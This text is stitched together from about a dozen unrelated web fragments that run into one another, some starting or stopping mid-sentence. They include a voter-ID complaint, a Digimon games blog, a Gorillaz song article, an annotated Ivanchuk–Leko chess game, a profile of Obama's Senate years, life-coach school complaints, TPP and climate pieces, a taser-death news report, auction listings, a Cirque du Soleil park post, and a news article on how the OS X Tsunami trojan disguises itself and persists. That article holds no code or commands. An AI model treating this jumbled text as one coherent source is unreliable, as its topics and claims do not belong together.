them to decide what to do with my request for free voter ID, then bike+bus to work), and now according to him I should go back on August 27th... except that he also said I wasn't eligible because I have a valid driver's license. According to the DMV website, I shouldn't have to wait until August 27th and have to return and waste more time - I should have been able to get my free state ID for voting TODAY. While I was waiting there, I spoke with a man there was helping his father, who wanted a free voter ID but was told he had to pay $13 for it (and he did). Someone needs to fix this, because clearly the law about not having to pay to vote is NOT being followed.I really like Digimon. Not as a competitor to Pokemon, but as it’s own thing. But Digimon games are a bit of a sad issue. There are a LOT of Digimon games out from Japan, but they rarely ever get localized.
There are essentially two genres of Digimon games, fighters (and I use that term loosely) and RPGS, along with a few spin offs like Digimon Racing, and the card game. To start with fighters, there are 2 series, the battle spirit for the Gameboy Advanced, and the Rumble Arena games for a variety of consoles. I’m gonna be honest, really NONE of these are good games. They’re entertaining because they have Digimon but as fighting games they’re very poor.
The RPGs on the other hand have much more variety and and a lot of them are pretty good. It started with Digimon World on the Playstation, it was super true to the core of Digimon, raising a single creature from birth to death and continuously getting better at it as you progress. Pretty much after this, almost all the Digimon games became more like traditional RPGs with levels, experience points, even equipment which just feels weird. That’s not to say they aren’t good games, Digimon World 2 and 3 are regarded as great games.
The most recent Digimon RPG games we got were the Digimon World DS titles, DS, Dawn and Dusk, and Championship. I didn’t really get to play Championship but I’ve played DS and Dawn a couple times each, which is really a lot less than you’d think because they are practically the same game. Dawn and Dusk reuse maps from DS (which is actually kind nice because the swamp level uses warp points to navigate around) and pretty much every mechanic from the game is reused except they give you 3 Digimon to start with instead of 1. These aren’t really BAD games, they’re just very average with lots of padding to make the them last longer. Dawn and Dusk were certainly improvements over DS, but they’re still pretty disappointing.
We got most of the Digimon World games, but around the time we stopped getting new Digimon games in the West, the one Digimon RPG that looked incredibly promising. Digimon World Re:Digitize. It was essentially a spiritual successor to the original Digimon World game, where it was less about being a traditional RPG, it was about raising your Digimon like a pet, training them in specific areas to determine how they’ll evolve when you reached a certain age. Now since it never came to the states, I had to play a Japanese version, which obviously came with some difficulties, but thanks to a guide I was able to get a grip on how it actually plays and where to go to continue the story. I actually did really well in the game, I got to the final boss, I had AWESOME, like max level Digimon, and I got a pretty good idea what the story was despite not understanding it.
Re:Digitize was the breath of fresh air Digimon needed, but because of Digimon’s lack of popularity outside of Japan and the fact that it was a PSP game, it never made it over, not even when it was remade into a 3DS game as Digimon World Re:Digitize Decode.
We haven’t had a Japanese made Digimon game in years. The last one we got was Digimon Rumble All-Stars, which came out in 2014, but it’s awful. It wasn’t even released in Japan, that’s how bad it was. They’re still coming out with new games in Japan, but the odds of any of them coming to the USA or anywhere outside of Japan are slim to none.
There’s one last Digimon game I wanna mention, it’s called Digimon Masters Online for PC. I don’t think it’s an officially licensed Digimon game, it’s made in Korea. But it’s a giant Digimon MMO, you can run around with your Digimon following you, see other players and their Digimon, even get ride certain Digimon for increased speed! It’s a pretty fun game, but it doesn’t have a lot of incentive to keep playing. The quests aren’t written very well and they’re really only a guide to the next area. The biggest appeal is the vast amount of Digimon they put into the game and how detailed each model is. It’s definitely worth checking out.
I’ve actually done a couple full reviews of Digimon games and I should have a third one coming out soon, if you wanna check em out here are some links!
Digimon World
Digimon World DS
Advertisements"Dare" (stylised as "DARE" and "挑戦 (DARE)") is a song by British virtual band Gorillaz, taken as the second single from their second studio album, Demon Days. The track is sung by Rosie Wilson (also known as Roses Gabor) with backing vocals from Damon Albarn and features vocals by Happy Mondays frontman Shaun Ryder. It peaked at No. 1 in the UK Singles Chart in September 2005, becoming the band's only UK No. 1.[5]
Background [ edit ]
The CD single was released in Europe on 29 August 2005.[6] It reached number 1 in the UK on 10 September 2005.[7] On the Billboard Hot 100, it peaked at number 87 on 14 January 2006,[8] going on to reach number 8 on the Modern Rock Tracks chart on 4 March 2006.[9]
Chris Evans stated at the 2006 Brit Awards that the song was originally to have been called "It's There", but was changed due to Shaun Ryder's strong Mancunian accent making it sound like he was saying 'It's dare.'. In a 2017 interview with Chris Moyles on Radio X Ryder confirmed his version of events, that it was him requesting a change to his headphone level, "it's going up, it's going up, it's there!".[10][11]
Roses Gabor (Rosie Wilson) takes over the role of "Noodle" from Miho Hatori, who provided the vocals for her on the first album. 2D provides backing vocals; however, to blend his vocals with Noodle's, his voice was toned down to be slightly covered up by Noodle.[citation needed] 2D's full vocalization can be heard on the D-Sides remix album. D-Sides features a demo version of Dare entitled "People". This version contains the same background beat but lacks the majority of the keyboards and effects found in the final recording and contains different lyrics. Unlike the final version, it is completely sung by 2D (voiced by Damon Albarn) and features an Omnichord breakdown.
In 2016, vocals of the song were interpolated in Friction's song "Dare (Hold It Down)". In 2017, the song was featured in an episode of the British soap opera EastEnders. The song was also featured in the video game Just Dance.
Music video [ edit ]
The music video for "Dare" included an appearance by Shaun Ryder (of Happy Mondays and Black Grape fame, at the request of Damon Albarn) as a giant disembodied head kept alive by machinery in Noodle's wardrobe. In a departure for the band, the song is mostly performed in the video by Noodle, with 2D, Russel, and Murdoc only appearing in short cameos in the video; 2D is seen listening into Noodle's room by pressing his ear to the floor, Russel is shown seated on a toilet reading a newspaper directly below Noodle's room and Murdoc appears at the end of the video lying in bed with Shaun Ryder, who wakes up, apparently having dreamt up the entire sequence of the video. A voice beside him growls, "go back to sleep, honey," revealing the voice to belong to Murdoc, after which it is further revealed to be another nightmare. That time, it was actually dreamt by Murdoc, who also wakes up bolt upright in his own bed gasping and panting. In commentary, Noodle claims that Murdoc initially protested at her doing the entire video by herself, but she countered that she wrote the song and she had seen him show off too much in the "Feel Good Inc." music video - and adds that he was asleep in his Winnebago for the whole of the shoot up until the final scene.
The video was directed by Jamie Hewlett and Pete Candeland. The video was leaked a few days prior to its 17 July 2005 release on the official Gorillaz website. Some say that legal threats were made against the individuals who uploaded the video, but none of these claims can be confirmed. The video was later recalled from other websites and the final scene was tweaked slightly; Murdoc's Confederate Naval Jack flag was replaced with that of the Jolly Roger. (The version with the Naval Jack is played in some countries, including Canada.)
This video calls back to classic horror movies. In the very beginning of the video we see Gorillaz''reject false icons' statue, which one may recognize as Pazuzu, the figurine from The Exorcist and son of the devil. Crows are flying around the building, in a tribute to Alfred Hitchcock's The Birds. Shaun Ryder is depicted as a Frankenstein-like monster who is brought to life as the music begins. Amongst the contraptions that are part of the life support system appear to be two Atari joysticks and a Speak & Spell from the early 1980s. Ryder's head being kept alive is a reference to the movie The Brain That Wouldn't Die. The tube attached to Ryder's cheek switches from side to side as a tribute to the goofs commonly made in early horror movies. When we see Russel sitting on the toilet, he is holding a newspaper with a headline that reads CANNIBAL MASSAKREN, the Danish title of Cannibal Holocaust. The zoom on Noodle's eye at the end of the video is taken directly from Ringu and its American remake, The Ring.[clarification needed]
Track listings [ edit ]
UK CD1
UK CD2
"Dare" - 4:04 "Highway (Under Construction)" - 4:20 "Dare" (Soulwax Remix) - 5:42
UK DVD Single
"Dare" (Video) - 4:48 "Samba at 13" - 6:23 "People" - 3:28 "Dare" (Animatic) - 4:48
UK Digital Single[12]
UK Digital EP
"Dare" - 4:04 "Samba at 13" - 6:23 "People" - 3:28
European CD Single
"Dare" - 4:04 "Highway (Under Construction)" - 4:20 "Dare" (Soulwax Remix) - 5:42 "Dare" (Music Video) - 4:48
Japanese CD Single
"Dare" - 4:04 "Highway (Under Construction)" - 4:20 "Dare" (Soulwax Remix) - 5:42 "Clint Eastwood" (Live) - 4:34 "Dare" (Video)- 4:48
Australian CD Single
"Dare" - 4:04 "Highway (Under Construction)" - 4:20 "Dare" (Soulwax Remix) - 5:42 "Feel Good Inc." - 3:41 "Dare" (Video) - 4:48
U.S. Digital Single[13]
"Dare" (Soulwax Remix) - 5:42
U.S. Digital E.P
"Dare" - 4:04 "Clint Eastwood" (Live) - 4:34 "People" - 3:28 "Dare" (Video) - 4:48 "Dare" (Live In Harlem - Video) - 4:28
Personnel [ edit ]
Roses Gabor: vocals
Shaun Ryder: vocals
Damon Albarn: vocals, synthesizers
James Dring: drums, drum programming
Jason Cox: production, drum programming
Danger Mouse: production, drum programming, sampled loops
Charts [ edit ]
Weekly charts [ edit ]
Year-end charts [ edit ]
Chart (2005) Rank New Zealand Singles Chart 33 UK Singles Chart 26
Chart (2006) Rank US Billboard Alternative Songs[17] 26The chess olympiad in Khanty-Mansiysk, Russia is in full swing, moving into the second half.
The Open section has 149 teams listed, nearly 750 players. The women section has 115 teams, roughly 575 players. Head and shoulders above all players stands Vasyl Ivanchuk. The 41-year old Ukrainian grandmaster smashed everything coming his way so far, winning five straight games and amassing a giant 3357 performance rating. On Tuesday, Ivanchuk added his sixth victory against the Georgian GM Baadur Jobava. His team leads the olympiad after seven rounds, having won six matches and drawing one. The 11-round olympiad concludes Sunday, October 3.
Ivanchuk was born in the same year as the world champion Vishy Anand and they are good friends. But unlike the Indian grandmaster, he sticks his neck out in an event considered to favor young players. Playing the top board is always a challenge. The American Hikaru Nakamura, 22, is doing well with a 4.5 - 0.5 score, but the world's top-rated grandmaster Magnus Carlsen of Norway, 19, is struggling at 50 percent with two wins and two losses. How come Ivanchuk doesn't even blink and collects his points with a solid, steady performance? He does it with his incredible opening knowledge, sharp and unusual tactics and subtle positional play.
Ivanchuk's win against one of the best defenders, Peter Leko of Hungary, is a positional masterpiece. William Steinitz, the first official world champion, loved to have his pawns on the original squares, since any pawn move weakens the position. It was a sound idea, not overlooked by world-class players such as Bobby Fischer, Ulf Andersson or Michael Adams. Ivanchuk's wonderful illustration would have made Steinitz happy. In the Semi-Slav Meran defense, using tactical themes and a delicate queen maneuver, the Ukrainian GM created many pawn weaknesses that Leko was unable to cover.
Ivanchuk - Leko
1.Nf3 Nf6 2.c4 e6 3.Nc3 d5 4.d4 c6 5.e3 Nbd7 6.Qc2 (Avoiding the straight Meran defense 6.Bd3 dxc4 7.Bxc4 b5.) 6...Bd6 7.Bd3 0-0 8.0-0 dxc4 9.Bxc4 a6 10.Rd1 b5 11.Bd3 (Karpov's 11.Be2 is more modest, but also more popular.) 11...Qc7 (Leko tries to move his queen from the d-file, but 11...Bb7 seems preferable.) 12.Bd2 (Ivanchuk is anticipating a queenside scramble and plans to shut down black's counterplay with 13.b4! [13... Bxb4 14.Nxb5!]. Pavel Eljanov, another strong Ukrainian grandmaster, won games with 12.a4 and 12.Ne4.) 12...c5 13.dxc5 Qxc5 14.a4! (Undermining the queenside.) 14...bxa4 (After 14...b4 15.Ne4 Qxc2 16.Bxc2 Be7 17.Nxf6+ Nxf6 18.Ne5 is pleasant for white. Black could have tried 14...Bb7 15.axb5 Bxf3 to shatter white's kingside.) 15.Rxa4 Bb7 16.Rc4 Qa7?! (And just like that the game turns. Black had to try 16...Bxf3 17.Rxc5 Bxd1 18.Nxd1 Nxc5 with roughly equal chances.)
17.Ne4 Nxe4 18.Bxe4 Bxe4 19.Qxe4 (The light squares are more accessible to white.)
19...Rac8?! 20.Qd4! (Ivanchuk begins to dominate in the center, driving the black queen back. Leko has problems on the d-file and can't exchange the queens. After 20...Qxd4? 21.Rxd4 Rc6 22.Bc3 white wins a piece.) 20...Bc5?! (20...Bb8 was a better alternative, but after 21.Bc3 Qxd4 22.Rcxd4 Nc5 23.g3 Rfe8 24.Rc4 white still has a slight edge.)
21.Qc3! (Pinning the bishop and threatening 22.b4.) 21...Rcd8 (After 21...Rc7 22.Qc2 Rfc8 23.Bc3 the black king may not be comfortable.) 22.Qc2! (Freeing the square c3 for his bishop and threatening to weaken black's kingside with 23.Ng5.) 22...Rfe8? (Allowing Ivanchuk to increase his advantage by weakenning the dark squares. Leko had to try 22...h6 23.Bc3 Rfe8 to meet 24.Rg4 with 24...Bf8!) 23.Ng5! g6 24.Ba5 (The modest 24.Be1 has more venom, for example 24...Be7 25.Nxe6 fxe6 26.Rc7 wins; or 24...Bb6 25.Ne4 Kg7 26.Rc6!, threatening to win with Ne4-d6-c8.) 24...Bb6 25.Bc3! (Ivanchuk forced the black bishop out of play. More holes are creeping into black's position.) 25...e5 26.Ne4 Re6 27.Bb4 Kg7 28.Rc6! Nf6 (Black is in trouble. After 28...Nf8 comes 29.Bd6!; and after 28...Rxc6? 29.Qxc6 white is threatening to win with 30.Be7.) 29.Rxe6 fxe6 (Black is left with a weak double pawn and Ivanchuk begins to zero in.)
30.Nxf6 Kxf6 (Black gets mated after 30...Rxd1+ 31.Qxd1 Kxf6 32.Qf3+ Kg5 [On 32...Kg7 33.Qf8 mates.] 33.Bf8!, threatening either 34.g3 and 35. h4 mate; or 34.h4+ Kxh4 35.Bh6! g5 36.Qh3 mate.) 31.Ra1 (Ivanchuk decides to keep the rooks, tickling the a6- weakness. White could have also played 31.Bd6!? threatening 32.Qe4, for example 31...Qa8 32.Qa4 Kf7 33.Bxe5 with a healthy pawn up.) 31...Qb7 32.Bc3 (Pinning the e5-pawn.) 32...a5 (After 32...Rd5 33.Qe2 Rb5 34.Qg4 the black king is left alone.) 33.Qa4 g5? (After 33...Qd5+ 34.Qf4+ Ke7 35.Qg5+ Kf7 36.h4 black can't survive.) 34.h4! h6 35.Qg4 Qh7 36.Qh5 (Threatening to win a pawn with 42.hxg5+ and black has to give up something. Another way to attack was with 36.Qf3+ Qf5 37.Qc6 Rb8 38.Qd6 Rb7 39.Ra4 black is tied up and the white rook threatens to sneak into black's position via the square c4.)
36...Qg6? (Blundering, but after 36...Rg8 white has two ways to conclude the game: 37.Bxa5 Bxa5 38.Rxa5 Qb1+ 39.Kh2 Qg6 40.hxg5+ hxg5 41.Qxg6+ the rook endgame is hopeless; or 37.b4 axb4 38.Bxb4 Qg6 39.Qf3+ Qf5 40.Qb7 gxh4 41.Be7+ Kg6 42.Qxb6 h3 43.e4 Qg4 44.g3 wins.) 37.Bxe5+ Kf7 38.Qf3+ Kg8 39.Qc6 (The black bishop has nowhere to go and 39...Bxe3 40.fxe3 gxh4 41.Kh2 is not good enough.) Black resigned.
Note that in the replay windows below you can click on the notation to follow the game.
Bill Hook Memorial Tournament
Chess Olympiads were always special for the late Bill Hook. He played in 17 of them for the British Virgin Islands, winning one individual gold medal on the top board in 1980. The Maryland master and artist was honored on Saturday, Sept. 26, at the U.S. Chess Center in Washington, D.C. in a blitz tournament. GM Mark Paragua won the event with a 15-1 score. Bryan Smith and Oladapo Adu shared second place, scoring 11.5 points.Outside Washington, Mr. Obama was a multimedia sensation — people offered free tickets to his book readings for $125 on eBay and contributed thousands of dollars each to his political action committee to watch him on stage questioning policy experts.
But inside the Senate, Mr. Obama, the junior senator from Illinois, was 99th in seniority and in the minority party his first two years. In committee hearings, he had to wait his turn until every other senator had asked questions. He once telephoned reporters himself to draw attention to his amendments. And some senior colleagues were cool to the newcomer, whom they considered naïve.
Determined to be viewed as substantive, Mr. Obama kept his head down, declining Sunday talk show invitations for his first year, and consulted Senate elders for advice. He was cautious — even on the Iraq war, which he had opposed as a Senate candidate. Though he spoke in favor of a drawdown, he voted against the withdrawal of troops. He proposed legislation calling for a drawdown after he began running for president.
And while he rightly takes credit for steering through an ethics overhaul that reformers called a “gold standard,” like most freshmen he did not play a significant role in passing much other legislation and disappointed some Democrats for not becoming a more prominent voice in other important debates.
Yet Mr. Obama was planning for the future. He spent much of his time raising money for other Democrats, which helped him build chits and lists of potential voters. He tended to his image, even upbraiding a reporter for writing that he had smoked a cigarette (a habit he later said he gave up for his presidential bid).
Early on in his tenure in Washington, he concluded that it would be hard to have much of an impact inside the Senate, where partisan conflict increasingly provoked filibuster threats, nomination fights and near gridlock even on routine spending bills.
“I think it’s very possible to have a Senate career here that is not particularly useful,” he said in an interview, reflecting on his first year. And it would be better for his political prospects not to become a Senate insider, which could saddle him with the kind of voting record that has tripped up so many senators who would be president.
Advertisement Continue reading the main story
“It’s sort of logic turned on its head, but it really is true,” said Tom Daschle of South Dakota, the former senator and Democratic leader who has been a close adviser to Mr. Obama.
“Two things develop the more time you spend here,” Mr. Daschle said. “One is a mind-set that we did it this way before, we should do it this way again, and I think that’s a real burden. More importantly — and Hillary and McCain are the perfect examples of this — the longer you are here, you take on enemies. And these enemies don’t forget.”
Rising to Stardom
If freshman senators arrive as celebrities, it is usually because they are “dragon slayers,” having ousted big-name incumbents. Mr. Obama was not one of those; two serious opponents in Illinois self-destructed, smoothing his path to election in November 2004.
Photo
He had been anointed his party’s rising star after delivering a soaring speech at the Democratic National Convention the previous July. His fresh face that fall cheered Democrats demoralized by their failure to win the White House and the defeat of Mr. Daschle, the party’s Senate leader.
But Mr. Obama knew the Senate scorns a showboat. He had waited to crack open “Master of the Senate,” Robert A. Caro’s book about the legendary legislative career of Lyndon B. Johnson, until after he was elected, wary that he would be photographed — and seen as presumptuous — reading it during his campaign. After he was on the cover of Newsweek the same week President Bush appeared as Time’s Man of the Year, his fellow Democratic senators gently ribbed him at their first weekly luncheon of the new Congress.
He met with nearly one-third of the Senate, from both sides of the aisle, including his future rival, Hillary Rodham Clinton of New York, to learn about the institution and solicit advice on how to succeed. That shaped a strategy: work hard, tend to your constituents, and, above all, get along with others. He spent many weekends traveling across Illinois for town-hall-style meetings.
Mr. Obama’s advisers referred to it as “the Hillary model,” patterned after Mrs. Clinton’s approach when she joined the Senate in 2001. But while Mr. Obama expressed admiration for her at the time, he dissuaded reporters from making too close a comparison.
“I wasn’t the first lady, and I didn’t have some of the political baggage of eight years of hand-to-hand combat between the White House and the Republican Congress,” he said soon after he first arrived. “In that sense, she had a harder task.”
Advertisement Continue reading the main story
Knowing he needed insider help, Mr. Obama cajoled Mr. Daschle’s former chief of staff, Pete Rouse, to lead his office. Mr. Rouse advised Mr. Obama about managing relationships on the Hill and helped engineer hefty assignments, including a Foreign Relations Committee seat. He sought out senior colleagues, traveling to Russia with Senator Richard G. Lugar, Republican of Indiana, an advocate of nuclear disarmament. (Later, they passed legislation to reduce stockpiles of conventional weapons.) Mr. Obama also sought tutorials from Senator Edward M. Kennedy of Massachusetts, considered the Democrats’ master legislator.
Some colleagues found Mr. Obama remarkably well prepared, even more so than longtime staff members, in discussions. And his role as the good student earned him the affection of some fellow lawmakers. “I don’t think you can be around him and not come to the conclusion that this is a person of rare quality,” said Senator Kent Conrad, Democrat of North Dakota.
Mr. Obama had visited Washington only a handful of times before taking office, and he was fresh enough to its ways that he bubbled over about his first trip on Air Force One in June 2005. He fretted about getting lost on his first trip to the White House, for a reception the day he was sworn in, and later marveled that there were flat-screen televisions in the Lincoln Bedroom.
But he remained ambivalent about the city and its institutions. Unlike many senators with young children, he did not move his family to the capital. He rarely spent more than three nights in Washington — aides would reserve tickets on several flights to make sure he got home to Chicago after the final Senate vote of the week.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe |
told him his credit card details were stolen.
He found out when he noticed an irregularity in his statement and contacted his bank.
Another former student told SBS he was compelled to alert people over Facebook that their credit cards may have been at risk, after he came to believe the school was not doing so itself.
TCI denies it failed to contact students about the breach and says it notified Victoria Police as soon as it became aware of what had happened. “We made attempts to contact every student who may have made contact with Mr Dallwitz,” a spokeswoman says.
Dallwitz’s testimonial was still on one of TCI’s websites until May this year, when SBS inquired about it and it was taken down.
Are students protected?
Diana Blake* left TCI before she finished her course and alleges the school continued to withdraw payments from her account after she cancelled her enrollment. She engaged a lawyer and says correspondence from the school eventually dried up.
A spokeswoman for TCI denies this claim and says its payment process has been audited twice by ASQA and “found to be completely compliant”.
"When I first started I thought, 'This is wonderful, what a great community'."
As the unregulated industry continues to grow, there is a risk of more complaints like these. But life-coach trainer Julie Parker says the Australian industry is world class.
"The reason that I feel really confident to say that is that our course is attracting more and more trainees from overseas," she says.
A spokeswoman for TCI shares that view, saying the school "constantly scores in the high 90s for student satisfaction” and has "the highest course completion rate in our sector".
Ms Blake says TCI students are attracted to the school's empowering messages and promises of success, but many - including her - feel let down.
"When I first started I thought, 'This is wonderful, what a great community', but then I saw through it because it's just really shallow," she says.
"There are ways of creating a really great culture without overstepping that line of having to make people feel uncomfortable."
*Names have been changedWith the stroke of a pen from President Donald Trump, the United States officially withdrew Monday from the Trans-Pacific Partnership, a proposed and controversial 12-nation trade pact dealing with everything from intellectual property to human rights.
"Everybody knows what that means, right? We’ve been talking about this for a long time," Trump said as he signed the order and made good on his campaign promise to remove the US from the trade deal. "A great thing for the American worker." During the election campaign, he called the TPP a "disaster."
President Barack Obama had praised the pact, but it was put on life support just days after Election Day. That's when congressional leaders told the White House that it would no longer consider entering the pact with a lame-duck president. The failing deal was of interest to Ars due to how intellectual property would have been treated. As we noted, "the TPP exported US copyright law regarding how long a copyright lasts. For signing nations, the plan would have made copyrights last for the life of the creator plus 70 years after his or her death. That's basically the same as in the US."
The nations remaining in the sputtering pact include Japan, Australia, Peru, Malaysia, Vietnam, New Zealand, Chile, Singapore, Canada, Mexico, and Brunei. China has proposed a 16-nation free-trade bloc that includes India. The Trump administration is expected to begin trade negotiations with each TPP nation separately.
The Motion Picture Association of America had hailed the TPP when the 2,000-page text of the pact was released in 2015, after negotiations were carried out in secret. "The TPP reaffirms what we have long understood—that strengthening copyright is integral to America’s creative community and to facilitating legitimate international commerce," Chris Dodd, the MPAA chairman, said at the time.Headlines from around the world this past month have been dire: “Hottest Year Ever.” “Cries for Help.” “Extraordinarily Hot Arctic Temperatures.” And while the headlines scream, we know whose fingerprints are all over the front page: fossil fuels.
Countries across the globe are facing extremely serious issues because of our continued use of fossil fuels, resulting the release of greenhouse gases which alter our climate. Public health is threatened, livelihoods are at stake, and the natural systems that citizens have grown up admiring for their entire lives are in danger.
The time for talk is over.
Together, we can make solutions to the climate crisis a reality and begin to change the headlines.
Check out some of the countries that have already begun to tackle some of their biggest “fossil-fueled” issues.
China: Air pollution
China is a country with a staggering 1.37 billion inhabitants. It relies on fossil fuels as its main source of electricity generation and is the largest producer and consumer of coal in the world. As a result, it suffers from serious air pollution problems. In 2015, only about 20 percent of monitored Chinese cities attained national air quality standards. It’s also estimated that air pollution costs the country roughly 6.5 percent of its GDP annually due to lost productivity.
But recently, China has taken a deep breath and become a global leader in renewable energy development and investment. Between 2009 and 2015, China more than doubled its renewable energy capacity, according to the International Renewable Energy Agency. It invested $103 billion in renewables last year alone and aims to cap coal use by 2020. The important thing is this: China is off the sidelines and taking matters into its own hands to clean up its act.
Indonesia: Deforestation
© 2012 Program on Forests (PROFOR)/Flickr cc by-nc 2.0
Indonesia is considered one of the most biodiverse countries on the planet. But much of that biodiversity is under serious threat from deforestation and human activities. From 2000 to 2012, Indonesia lost more than 15 million acres of forest, with recent rates estimated at 1.17 million hectares per year. Since many of these areas cleared for agriculture (particularly palm oil) are burned, Indonesia has at times even taken the mantle as the world’s top carbon emitter due to the CO 2 these fires released.
But change could be in the air. In 2015, Indonesia’s president renewed a national forest moratorium, prohibiting new licenses to clear key forest areas. And more than 2,700 independent smallholders have recently been certified as “sustainable farmers,” giving hope to the zero-deforestation efforts in the country and to a future of reduced carbon emissions. It’s not enough to solve the problem entirely, but it’s a step in the right direction.
Australia: Coral bleaching
Australia’s Great Barrier Reef is the world’s largest single structure made by living organisms, and can be seen from outer space. It’s also in major danger because of increasing sea surface temperatures and ocean acidification caused by the climate crisis. The warming waters are resulting in mass coral bleaching events, effectively shutting down the entire ecosystem reliant on the coral for survival.
Despite Australia’s backtracking on climate action in recent years, the country is taking some notable measures to reduce emissions and increase renewable energy use. To encourage investment in renewables, the government has established financial incentives to develop large and small-scale renewable energy projects. And the state of South Australia already has been setting, reaching, and re-setting renewable energy goals since 2009. The state was able to achieve its 50 percent renewable energy goal this year – almost a decade ahead of schedule – and now plans to go all the way to 100 percent. Let’s hope the rest of the country takes note and follows suit!
Italy: Sea level rise
© 2012 Roberto Trombetta/Flickr cc by-nc 2.0)
One of Italy’s most iconic cities is at serious risk from the mounting effects of a warming world. Venice is no stranger to flooding, but with conservative estimates showing that global sea levels could rise up to nearly a meter by the end of the century, the incredible “City of Canals,” a UNESCO World Heritage site, could find it increasingly difficult to stay above water.
But the resilient Italians are looking to stay afloat by going renewable. Italy currently leads the world in solar power consumption, and at least one PV system is installed in each of Italy’s over 8,000 municipalities. Even cooler: Vatican City, within the city of Rome, became the world’s first carbon-neutral nation state in 2008.
Countries around the world are taking climate action – and we can’t let the Unites States fall behind. Let the Senate know that we deserve a qualified cabinet – not one filled with Big Oil insiders and climate deniers like Rex Tillerson, Scott Pruitt, Rick Perry, and Ryan Zinke. Add your name now:3.4k SHARES Facebook Twitter Google Reddit Tumblr Digg Linkedin Stumbleupon Mail Print
An Albany, NY man died in custody after he was struck with a Taser during an altercation with police, Officials said Thursday.
The incident happened around 12:30 Thursday morning on Lark Street near Second street.
Family say officers came across 39-year-old Donald Ivy, Jr during a midnight walk back from a corner store.
Police claim Ivy became “highly aggressive,” and physically combative with officers. That’s when police deployed a taser, officials say.
The taser had little effect, and police say Ivy eventually led them on a brief foot chase.
After officers apprehended Ivy and placed him into custody, police say he suffered an apparent medical emergency and lost consciousness.
Police officers immediately administered CPR and called emergency medical services to the scene, officials say.
Ivy was taken to Albany Medical, where he was later pronounced dead.
Family say Ivy was on a number of medications at the time, and described him as a “paranoid schizophrenic who suffered from heart problems.”
As to why officers confronted Ivy, Officials have only said he was exhibiting “suspicious behavior.” It is also not yet known how many times he was struck with a taser.
Acting Albany Police Chief Brendan Cox said an autopsy has been conducted but he declined to discuss the findings, saying the medical examiner still has work to do.
No weapons were found on Ivy, Cox said.
Ivy’s first cousin, Celestal Hightower, said she does not want to criticize police but wants to know what happened.
“There’s a lot of missing information right now,” she said. “We just want to wait until everything is presented to us and then maybe there will be satisfaction, maybe not. We don’t know until it is all presented. So that’s what we’re waiting for.”
Ivy graduated from Virginia State University in 2001 prior to the onset of his mental illness, family say. His education was paid for after he was awarded the “I Have A Dream” scholarship for students from an inner-city Albany elementary school.
The three APD officers involved: Joshua Sears, Michael Mahany, and Charles Skinkle have been placed on administrative leave.
An internal investigation into the incident has been launched. Locals have planned a rally for Ivy Friday.
Local news coverage:
3.4k SHARES Facebook Twitter Google Reddit Tumblr Digg Linkedin Stumbleupon Mail Print
EPN
Vintage Wwii U.s Navy Stream Turbine Gear
$50000.0
Chiang Kai Shek Kuomintang Republic Of China Navy Chinese Civil War Photo Album
$32449.99
Vintage General Electric High Powered Searchlight
$30000.0
1869 John Scott Antique British Painting Civil War Navy Ship Battleship Nautical
$28000.0
Rare Document 1750 French Navy Treaty Of Construction Contract King Louis Xv
$27500.0Cirque Du Soleil Theme Park to Open in Mexico. Two years after Cirque du Soleil and Grupo Vidanta announced their ambitious partnership to build an immersive theme park, we’re seeing some concept art detailing the dream. And it looks fabulously trippy.
As opposed to other amusement parks where you just watch shows, the concept here is that you ‘re part of the show.
You’re literally surrounded by Cirque artists and attractions that put you right in the action. And everything around you is designed with the same fanciful creativity that packs a ridiculous number of houses around the world at their theater shows.
“Each experience within the entertainment park will be animated by Cirque du Soleil artists and follow a common storyline,” Cirque du Soleil and Grupo Vidanta said in a statement.
Like our stories? Stay updated:
Follow @verticalwise
Beyond that, the details are sketchy at the moment. The theme park “may” include a nature park and an evening entertainment venue for 3,000 to 5,000 people. The park’s construction is expected to be completed in 2018.
But the conceptual designs are sweet — the sort of eye-catching and whimsical aesthetics we’ve come to expect from Cirque du Soleil. Check it out:
Cirque du Soleil Theme Park concept images
In the creation process of the world’s first Cirque du Soleil resort, dozens of models of various sizes, finishes, and functions have aided the design team.
Two new renderings have been released that give us a better idea of the scope/layout of the park.
Since first being announced, the waterpark has confirmed.
This early blue sky illustration by Christopher Smith will give you a taste of just how incredible the world’s first Cirque du Soleil water park will be when it debuts at Vidanta Nuevo Vallarta in 2018!
The theme park was first announced in November 2014. Sometime in the next year, you’ll be able to spend your vacation strolling through a daylong Cirque performance, complete with an interactive theater, hydrotherapy circuit, and of course plenty of embedded Cirque performers. “The Park,” will be located on the Vidanta property. A name you may remember as the home to JOYÁ, the world’s first Cirque du Soleil dining experience at its sister property in Riviera Maya.
Like our stories? Stay updated:
Follow @verticalwise
Don’t forget to leave a comment on the post. We would love to hear from you. Feel free to share this story on social media and as always thanks, for reading us!
Sources: http://www.themeparx.com/cirque-du-soleil-theme-park/ http://www.richasi.com/Cirque/Projects/ThemePark.htm http://www.huffingtonpost.ca/2014/11/12/cirque-du-soleil-theme-park-mexico_n_6148062.html http://www.maxim.com/entertainment/cirque-du-soleil-mexican-theme-park-2016-10Another day, another Trojan. The malware bot called "Tsunami" that has been developed for Linux systems since around 2002 has been found on OS X.
The malware (OSX/Tsunami.A) is a minimal threat, and like other Trojans and backdoors for OS X requires you to manually install it. While it is almost irrelevant to most users, it is out there and has the potential to cause harm for some.
The malware is an IRC bot, which is a program that connects to Internet Relay Chat (IRC) network servers and channels, where it can be controlled as a client for distributed denial-of-service (DDoS) attacks on targeted systems and networks. In addition it has the capability to both download files to an infected system and run shell commands (terminal commands) on it.
The current OS X variants of this malware appear not to work and may be in testing phases.
IRC bots are common programs used for numerous legitimate activities on IRC servers, but as with other well-intentioned routines, there is the potential for these bots to be developed and used for malicious activities.
Malware detection group ESET is claiming that so far there are two variants of this malware that connect to different IRC servers and channels. Both variants require someone to manually open the installer file, which then performs the following actions:
It installs the malware in the /usr/sbin/ directory.
The malware is cleverly disguised as a command-line tool called "logind" that may appear to be important to the system. In OS X various background programs are called daemons and end with a "d" in their name to denote this. The malware both attempts to emulate this, and also places it in a hidden system directory (/usr/sbin) where other background services reside so it may blend in.
OS X does have a background tool that is called "logind" but this resides in the /System/Library/CoreServices/ directory and not in the /usr/sbin/ directory.
It modifies a system launch daemon.
The real OS X logind process (the one in the system's CoreServices directory) is managed by a system launch daemon called "com.apple.logind.plist" located in the /System/Library/LaunchDaemons/ directory, but when the Tsunami malware is installed, it replaces the contents of this launch daemon file with code that automatically launches the malware at startup and keeps it running on the system.
The correct version of this property list file should read as the following:
Screenshot by Topher Kessler
